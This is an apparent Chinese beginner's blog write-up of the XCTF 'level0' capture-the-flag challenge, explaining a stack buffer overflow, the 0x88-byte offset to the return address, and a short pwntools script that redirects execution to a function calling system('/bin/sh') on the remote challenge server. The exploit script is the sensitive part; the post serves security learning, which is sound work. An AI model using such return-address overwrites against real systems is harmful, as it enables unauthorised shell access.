PWN头秃之旅 - 3.简单的栈溢出(攻防世界-level0)

PWN新手区里的level0是经典栈溢出的简化版本,因为题目直接给出了/bin/sh。 

 checksec跑一下:

 main函数的伪代码:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  write(1, "Hello, World\n", 0xDuLL);
  return vulnerable_function();
}

main调用了vulnerable_function,vulnerable_function定义了参数buf然后调用了read函数,网上搜了下C语言的read函数:

所以vulnerable_function在read读取数据的时候存在缓冲区溢出。回想起咱屡战屡败的经典栈溢出实验,下一步应该就是覆盖返回地址然后执行/bin/sh了啊!!肿么办,我不会,我好方>_<。

看了下write up,这个题目已经准备好/bin/sh了,就在callsystem函数里面(相当于降低了难度),666~

int callsystem()
{
  return system("/bin/sh");
}

那么,怎么覆盖vulnerable_function的返回地址然后执行callsystem呢?

1. 找到callysystem的调用地址:0x00400596

从checksec的结果看到地址随机化(PIE)没有打开,所以callysystem的内存地址是固定的。如果PIE打开,可能每次打开IDA看到的地址都不一样了(个人猜测,没试验过。。)

2.找到vulnerable_function的返回地址

返回地址指向的是当 read 函数结束后,程序下一 步要到的地方。

r的前面存储的就是存在溢出的变量buf:

3. 计算buf到return的偏移量

偏移量=buf长度0x80+r和buf之间的s的长度0x8 

为什么要计算偏移量?是为了用这个偏移量覆盖返回地址,必须准确找到覆盖返回地址需要的偏移量,不然就会跟我的经典栈溢出一样屡战屡败!

4. 写脚本(依然网上copy,本人还是不会)

from pwn import *

r = remote("220.249.52.133",53948)
payload = 'A' * 0x80 + 'a' * 0x8 + p64(0x00400596)
r.recvuntil("Hello, World\n") 
r.sendline(payload)
r.interactive()

执行脚本,拿到flage:

 

本文仅用于技术学习和交流,严禁用于非法用途,否则产生的一切后果自行承担。  

如需转载,请注明出处,这是对他人劳动成果的尊重。

 

posted @ 2020-07-21 14:33  Sally_Zhang  阅读(948)  评论(0编辑  收藏  举报